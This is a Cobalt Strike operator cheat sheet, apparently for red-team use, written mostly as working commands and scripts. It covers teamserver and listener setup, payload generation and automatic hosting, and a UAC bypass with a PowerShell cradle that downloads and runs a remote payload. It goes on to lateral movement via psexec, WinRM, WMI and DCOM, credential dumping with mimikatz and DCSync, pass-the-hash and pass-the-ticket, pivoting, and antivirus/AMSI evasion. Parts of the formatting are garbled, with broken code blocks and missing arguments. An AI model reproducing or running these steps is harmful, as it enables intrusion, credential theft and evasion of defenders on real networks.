Cobalt-Strike cheatsheet.
General
Get current user
getuid
Change sleep / Set interactive
- OPSEC Lower sleep = More traffic/Noice = More likely to get caught.
sleep <SECONDS> sleep 0
Get metadata from beacon
checkin
Kill a beacon
- Right click beacon, then Session --> Exit, then Session --> Eemove
Upload and download files
upload <FILE>
download <FILE>
Take screenshots
- View screenshot. Go to View -> Screenshots
printscreen Take a single screenshot via PrintScr method screenshot Take a single screenshot screenwatch Take periodic screenshots of desktop
Keylogger
keylogger
Webserver
Upload file
- Go to Site Management -> Host File and select your document.
- Set the Location URI, Local Host and click Launch.
Check web logs
- Go to View -> Web log
Teamserver
Start teamserver
cd /opt/cobaltstrike
sudo ./teamserver <IP> <PASSWORD> <C2 PROFILE>
sudo ./teamserver <IP> <PASSWORD> c2-profiles/normal/webbug.profile
Teamserver service
Create service
sudo vim /etc/systemd/system/csteamserver.service
[Unit]
Description=Cobalt Strike Team Server
After=network.target
StartLimitIntervalSec=0
[Service]
Type=simple
Restart=always
RestartSec=1
User=root
WorkingDirectory=/home/attacker/cobaltstrike
ExecStart=/home/attacker/cobaltstrike/teamserver <IP> <PASSWORD> <C2 PROFILE>
[Install]
WantedBy=multi-user.target
Reload service
sudo systemctl daemon-reload
sudo systemctl status csteamserver.service
Start service
sudo systemctl start csteamserver.service
sudo systemctl status csteamserver.service
Enable service
sudo systemctl enable teamserver.service
Persistend hosted files
- Hosted files are gone on restart. A solution is to use
agscript
utility with theartifact_payload
andsite_host
functions.agscript <HOST> <PORT> <USER> <PASSWORD> <path/to/script.cna> vim host_payloads.cna # Connected and ready on ready { # Generate payload $payload = artifact_payload("<LISTENER NAME>", "<PAYLOAD TYPE>", "<PAYLOAD ARCHITECTURE>"); # Host payload site_host("<LOCAL IP>", <PORT>, "<URI>", $payload, "<MIME TYPE>", "<DESCRIPTION>", <HTTPS [true|false]>); }
vim host_payloads.cna
# Connected and ready
on ready {
# Generate payload
$payload = artifact_payload("http", "powershell", "x64");
# Host payload
site_host("10.10.5.50", 80, "/a", $payload, "text/plain", "Auto Web Delivery (PowerShell)", false);
}
Add to startup service
- Add the following line
sudo vim /etc/systemd/system/csteamserver.service ExecStartPost=/bin/sh -c '/usr/bin/sleep 30; /home/attacker/cobaltstrike/agscript 127.0.0.1 50050 headless Passw0rd! host_payloads.cna &'
Listeners
Create a listener
- Two type of listeners:
egress
(HTTP(S) and DNS) andpeer-to-peer
(SMB or TCP). egress
listens on the teamserver IP.peer-to-peer
listens on a existing beacon.- In the menu click the HeadPhones Icon or click Cobalt Strike --> Listeners
- Click the Add button at the bottom and and a new listener dialogue will appear.
- Choose a descriptive name such as
<protocol>-<port>
example:http-80
. - Set the variables/settings and click Save.
- Creating a TCP local listener is usefull for privescing or spawning new shells
Create peer-to-peer listener
- Creating P2P listeners can be done in the Listeners menu, by selecting the TCP or SMB Beacon payload type.
- Then create payload for the new listener!
Create pivot listener
- To start a Pivot Listener on an existing Beacon, right-click Pivoting --> Listener.
- Might need to open port on the firewall
Connect to pivot listener
- Works like a bind shell. Most used are SMB or TCP.
- Run the payload on the target
- Connect to the beacon with
link
for smb andconnect
for tcp.connect <IP> <PORT> link <IP> <PIPE>
OPSEC listeners
- DNS: Since 0.0.0.0 is the default response (and also rather nonsensical), Cobalt Strike team servers can be fingerprinted in this way. This can be changed in the Malleable C2 profile.
- SMB: The default pipe name(
msagent_XX
) is quite well signatured. A good strategy is to emulate names known to be used by common applications or Windows itself. Usels \\.\pipe\
to list all currently listening pipes for inspiration.
Payloads
Create payloads
- Click Payloads --> Select an option or all
Powershell payload
- Click Attacks --> Scripted web delivery (S) --> Choose a URI path, listener and select type PowerShell IEX
Create dll payload
- Bypasses default applocker configuration
C:\Windows\System32\rundll32.exe C:\Users\Administrator\Desktop\beacon.dll,StartW link <COMPUTERNAME>
Create service binary
- Used for privilege escalation with services
- Attacks --> Packages --> Windows Executable (S) and selecting the Service Binary output type.
- TIP: I recommend the use of TCP beacons bound to localhost only with privilege escalations
OPSEC payloads
- Staged payloads are good if your delivery method limits the amount of data you can send. However, they tend to have more indicators compared to stageless. Given the choice, go stageless.
- The use of 64-bit payloads on 64-bit Operating Systems is preferable to using 32-bit payloads on 64-bit Operating Systems.
Command Execution
Execute cmd command
run <COMMAND>
Execute PowerShell command
powershell <COMMAND>
Execute PowerShell command through powerpick
- Bypasses Constrained Language Mode
powerpick $ExecutionContext.SessionState.LanguageMode
Execute assembly in memory
execute-assembly <PATH TO EXE>
Load PowerShell script
powershell-import <FILE>
UAC Bypass
- https://github.com/cobalt-strike/ElevateKit
UAC bypass
- Typing
elevate
and then tab lets you cycle through the methods.elevate <METHOD> <LISTENER> elevate uac-schtasks tcp-local
UAC bypass method 2 runasadmin
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
connect localhost 4444
Lateral Movement
Portscan
portscan <IP OR RANGE> <PORTS>
User impersonation
Make token - runas other user
make_token <DOMAIN>\<USER> <PASSWORD>
Rev2self
- Drops impersonation and will undo the make token
rev2self
Steal token
- If a user is running a process on the system, we can steal its process
inject
steal_token <PID> ```` #### Inject payload into process
make_token#### Spawnas - Will spawn a new process using the plaintext credentials of another user and inject a Beacon payload into it. - Must be run from a folder the user has access to. - This command does not require local admin privileges and will also usually fail if run from a SYSTEM Beacon.
\ spawnas \ pth#### Pass the hash
\ mimikatz sekurlsa::pth /user:/domain: /ntlm: /run:"powershell -w hidden" steal_token execute-assembly Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:#### Pass the ticket - OPSEC: By default, Rubeus will use a random username, domain and password with CreateProcessWithLogonW, which will appear in the associated 4624 logon event. The "Suspicious Logon Events" saved search will show 4624's where the TargetOutboundDomainName is not an expected value.
/username: /password:FakePass123
execute-assembly Rubeus.exe ptt /luid:
steal_token #### Overpass the hash
- OPSEC: Use AES256 keys
make_token
kerberos_ticket_use C:\Users\public\ticket.kirbi
ls \#### Overpass the hash elevated context
output: [+] ProcessID :
steal_token
ls \#### Extract and inject ticket, then steal token
- Extract tickets of a user, create new process, inject ticket into process, steal token from the process
#### Load TGT or TGS ticket
#### Use ccache file
### Techniques
#### Jump
Exploit Arch Description
------- ---- -----------
psexec x86 Use a service to run a Service EXE artifact
psexec64 x64 Use a service to run a Service EXE artifact
psexec_psh x86 Use a service to run a PowerShell one-liner
winrm x86 Run a PowerShell script via WinRM
winrm64 x64 Run a PowerShell script via WinRM
```
Remote-exec
``` remote-exec [method] [target] [command]
psexec Remote execute via Service Control Manager
winrm Remote execute via WinRM (PowerShell)
wmi Remote execute via WMI
```
Custom
- Use primitives such as
powershell
,execute-assembly
, etc to implement something custom with for example an agressor script.
Getting the architecture
- for winrm or winrm64 with jump
remote-exec winrm <HOSTNAME> (Get-WmiObject Win32_OperatingSystem).OSArchitecture
Jump winrm
jump winrm64 <HOSTNAME> <LISTENER>
Jump PSexec
jump psexec64 <HOSTNAME> <LISTENER>
WMI
- Not a jump command but can be used manually
- Make sure the firewall is open for the ports used!
cd \\<HOSTNAME>\ADMIN$ upload <SMB BEACON EXE> remote-exec wmi <HOSTNAME> <BEACON EXE> link <HOSTNAME> <PIPE>
cd \\<HOSTNAME>\ADMIN$ upload <TCP BEACON EXE> remote-exec wmi <HOSTNAME> <BEACON EXE> connect <HOSTNAME> <PORT>
WMI exec commands
remote-exec winrm <HOSTNAME> whoami; hostname
CoInitializeSecurity
- Beacon's internal implementation of WMI uses a Beacon Object File, executed using the beacon_inline_execute Aggressor function. When a BOF is executed the CoInitializeSecurity COM object can be called, which is used to set the security context for the current process. According to Microsoft's documentation, this can only be called once per process. The unfortunate consequence is that if you have CoInitializeSecurity get called in the context of, say "User A", then future BOFs may not be able to inherit a different security context ("User B") for the lifetime of the Beacon process.
- if CoInitializeSecurity has already been called, WMI fails with access denied.
- As a workaround, your WMI execution needs to come from a different process. This can be achieved with commands such as spawn and spawnas, or even execute-assembly with a tool such as SharpWMI.
remote-exec wmi <HOSTNAME> calc.exe execute-assembly SharpWMI.exe action=exec computername=<HOSTNAME> command="C:\Windows\System32\calc.exe"
DCOM
- https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1
powershell-import Invoke-DCOM.ps1 powershell Invoke-DCOM -ComputerName <HOSTNAME> -Method MMC20.Application -Command <BEACON EXE>
SSH
ssh
ssh-key
Post Exploitation
Credentials
- The
!
(Elevate to system) and@
(Impersonate beacons thread) symbols are modifiers. - Go to View -> Credentials to see a copy of all the credentials
Mimikatz logonpasswords
mimikatz !sekurlsa::logonpasswords
logonpasswords
Mimikatz ekeys
mimikatz !sekurlsa::ekeys
Mimikatz sam
mimikatz !lsadump::sam
Mimikatz Cached Credentials
mimikatz !lsadump::cache
DCSync
dcsync <DOMAIN> <DOMAIN\USER>
Session passing
Beacon passing
- From one beacon type to another
- Spawn an process and inject shellcode for the specified listener into it.
spawn <ARCHITECTURE> <LISTENER>
Cobalt strike --> Metasploit
- Only supports
x86
sudo msfconsole -q use exploit/multi/handler set payload windows/meterpreter/reverse_http set LHOST eth0 set LPORT <PORT> exploit -j
- Go to Listeners --> Add and set the Payload to Foreign HTTP. Set the Host, the Port, Set the name to
msf
and click Save. The commandspawn msf
will pass the session to metasploit.spawn msf
Cobalt strike --> Metasploit shellcode shinject new process
```
sudo msfconsole -q
use exploit/multi/handler
set payload windows/x64/meterpreter_reverse_http
msfvenom -p windows/x64/meterpreter_reverse_http LHOST=
execute C:\Windows\System32\notepad.exe
ps
shinject #### Cobalt strike --> Metasploit shellcode shspawn new process
shspawn x64 C:\Payloads\msf_http_x64.bin
### Metasploit --> Cobalt strike
- Go to Attacks --> Packages --> Windows Executable (S), select the desired listener, select Raw as the Output type and select Use x64 payload.
## Pivoting
### Socksproxy
#### Enable Socksproxy no auth
- OPSEC: This binds the port on all interfaces and since there is no authentication available on SOCKS4, this port can technically be used by anyone
#### Enable Socksproxy auth
- The enableLogging option sends additional logs (such as authentication failures) to the VM console, which you unfortunately can't see easily when the team server running as a service. Instead, you can use journalctl:
### Using proxychains
#### Proxychains
- For linux
- Change proxychains config `socks5 <IP> <PORT> <USER> <PASS>`
#### Proxifier
- https://www.proxifier.com/
- For windows
- Open Proxifier, go to Profile -> Proxy Servers and Add a new proxy entry, which will point at the IP address and Port of your Cobalt Strike SOCKS proxy.
- Next, go to Profile -> Proxification Rules. This is where you can add rules that tell Proxifier when and where to proxy specific applications. Multiple applications can be added to the same rule, but in this example, I'm creating a single rule for adexplorer64.exe (part of the Sysinternals Suite).
- Target hosts fill in the target internal network range with the action ```proxy socks <TARGET>```
- NOTE: You will also need to add a static host entry in `C:\Windows\System32\drivers\etc\hosts` file: `<DC IP> <DOMAIN>`. You can enable DNS lookups through Proxifier, but that will cause DNS leaks from your computer into the target environment.
#### Proxychains netonly or overpass the hash
#### Browser
- Install FoxyProxy https://getfoxyproxy.org/
- Configure Proxy IP and port, Username and Password.
- NTLM auth: https://offensivedefence.co.uk/posts/ntlm-auth-firefox/
#### Metasploit
- In Cobalt Strike, go to View > Proxy Pivots, highlight the existing SOCKS proxy and click the Tunnel button.
- Paste string in msfconsole
- Stop with ```socks stop```
### Manual port forwards
#### Remote port forward netsh
- Requires administrator privs
#### List forwards netsh
#### Remove port forward netsh
### Rportfwd
#### Create port forward
- Beacon's reverse port forward always tunnels the traffic to the Team Server and the Team Server sends the traffic to its intended destination, so shouldn't be used to relay traffic between individual machines.
- Does not require administrator privs
- OPSEC: When the Windows firewall is enabled, it will prompt the user with an alert when an application attempts to listen on a port that is not explicitly allowed. Allowing access requires local admin privileges and clicking cancel will create an explicit block rule. Have to create firewall rule first!
rportfwd #### Stop and remove firewall rule
rportfwd stop #### Create port forward rportfwd_local
- Beacon also has a rportfwd_local command. Whereas rportfwd will tunnel traffic to the Team Server, rportfwd_local will tunnel the traffic to the machine running the Cobalt Strike client.
- Does not require administrator privs
- If 127.0.0.1 doesn't work use teamserver IP
#### Stop port forward local
### NTLMRelaying with cobalt strike
- https://github.com/praetorian-inc/PortBender
- Requires system privs
#### Place portbender driver on the target
#### Load portbender.cna
- Load `PortBender.cna` this adds a new PortBender command to the console in Cobalt strike -> Script Manager
- Breaks SMB service on the machine, also SMB Beacons.
- Create the appropriate inbound firewall rules for 445 (file sharing is disabled by default), 8445, and 8080.
#### Create port forward
- Create a reverse port forward that will then relay the traffic from port 8445 to port 445 on the Team Server (where ntlmrelayx will be waiting).
#### Allow 8445 firewall
#### Create sockx proxy
#### NTLMRelay execute command
#### Stop portbender
## Evasion
### Malleable C2 profile
- Example: https://github.com/Cobalt-Strike/Malleable-C2-Profiles
- Changes to C2 profile requires teamserver restart and a new beacon!
- Good changes: https://github.com/WKL-Sec/Malleable-CS-Profiles
#### Check profile for errors
### Amsi bypass
#### Add the following to the .profile
- `amsi_disable` only applies to `powerpick`, `execute-assembly` and `psinject`. It does not apply to the powershell command
### Spawnto
- `rundll32` being the default `spawnto` for Cobalt Strike is a common point of detectiom.
- The process used for post-ex commands and psexec can be changed on the fly in the CS GUI.
#### Change spawnto
#### Revert spawnto
#### Change spawnto psexec
#### Change service name for psexec
#### C2 profile
set spawnto_x64 "%windir%\\sysnative\\dllhost.exe";
set spawnto_x86 "%windir%\\syswow64\\dllhost.exe";
} ```
Artifact-kit
- Used to modify the binary (EXE & DLL) payloads
- Location
cobaltstrike\arsenal-kit\kits\artifact
- The
src-main/main.c
is the entry points for the EXE artifacts. src-common/bypass-template.c
shows how one can implement some logic inside the start function frommain.c
- We can use the
bypass-pipe.c
to evade AV.
Change bypass-pipe.c
vim /opt/cobaltstrike/artifact-kit/src-common/bypass-pipe.c
Edit the following line
- Nothing needs to be changed right now, but might want to change the pipe name part. Example:
"%c%c%c%c%c%c%c%c%cnetsvc\\%d" "%c%c%c%c%c%c%c%c%cprintsvc-%d-server"
Built artifact kit
- Files should go to the client.
./build.sh <techniques> <allocator> <stage> <rdll size> <include resource file> <output directory> ./build.sh pipe VirtualAlloc 277492 5 false false /mnt/c/Tools/cobaltstrike/artifacts
Load artifact.cna
- Click on Cobalt Strike -> Script Manager -> Load
artifact.cna
from the output directory - Reload cobaltstrike UI
- Use Payloads -> Windows Stageless Generate All Payloads to replace all
Run threatcheck on payload
.\ThreatCheck.exe -f <PAYLOAD>
Resource-kit
- Used to modify script-based payloads including the PowerShell, Python, HTA and VBA templates.
- Location:
cobaltstrike\arsenal-kit\kits\resource
- Using
template.x64.ps1
is enough. - Files should go to the client.
Change template.x64.ps1
- From --> To
- Change ALL variables in the file ``` for ($zz = 0; $zz -lt $v_code.Count; $zz++) { $v_code[$zz] = $v_code[$zz] -bxor 35 }
for ($i = 0; $i -lt $v_service.Count; $i++) { $var_service[$i] = $v_service[$i] -bxor 35 }
#### Channge compress.ps1
- https://offensivedefence.co.uk/posts/making-amsi-jump/
#### Rebuilt resource kit
#### Load resources.cna
- Click on Cobalt Strike -> Script Manager -> Load `resources.cna`
- Reload cobaltstrike UI
- Use Payloads -> Windows Stageless Generate All Payloads to replace all
#### Run threatcheck on payload
## Extending Cobalt Strike
### Agressor scripts
### Jump and remote-exec
- https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics_aggressor-scripts/as-resources_functions.htm#beacon_remote_exploit_register
- https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics_aggressor-scripts/as-resources_functions.htm#beacon_remote_exec_method_register
#### Jump dcom command
- Using https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/master/Invoke-DCOM.ps1
# acknowledge this command1
btask($1, "Tasked Beacon to run " . listener_describe($3) . " on $2 via DCOM", "T1021");
# read in the script
$handle = openf(getFileProper("C:\\Tools", "Invoke-DCOM.ps1"));
$script = readb($handle, -1);
closef($handle);
# host the script in Beacon
$oneliner = beacon_host_script($1, $script);
# generate stageless payload
$payload = artifact_payload($3, "exe", "x64");
# upload to the target
bupload_raw($1, "\\\\ $+ $2 $+ \\C$\\Windows\\Temp\\beacon.exe", $payload);
# run via powerpick
bpowerpick!($1, "Invoke-DCOM -ComputerName $+ $2 $+ -Method MMC20.Application -Command C:\\Windows\\Temp\\beacon.exe", $oneliner);
# link if p2p beacon
beacon_link($1, $2, $3);
}
beacon_remote_exploit_register("dcom", "x64", "Use DCOM to run a Beacon payload", &invoke_dcom); ```
Beacon Object Files
- Beacon Object Files (BOFs) are a post-ex capability that allows for code execution inside the Beacon host process.
- BOFs are essentially tiny COFF objects (written in C or C++) on which Beacon acts as a linker and loader.
- Download https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/beacon.h
- Usefull BOFs:
- https://github.com/WKL-Sec/HiddenDesktop
- https://github.com/trustedsec/CS-Situational-Awareness-BOF
- https://github.com/CCob/BOF.NET
- https://github.com/helpsystems/nanodump
- https://github.com/outflanknl/InlineWhispers
External C2
- https://github.com/RedSiege/GraphStrike?tab=readme-ov-file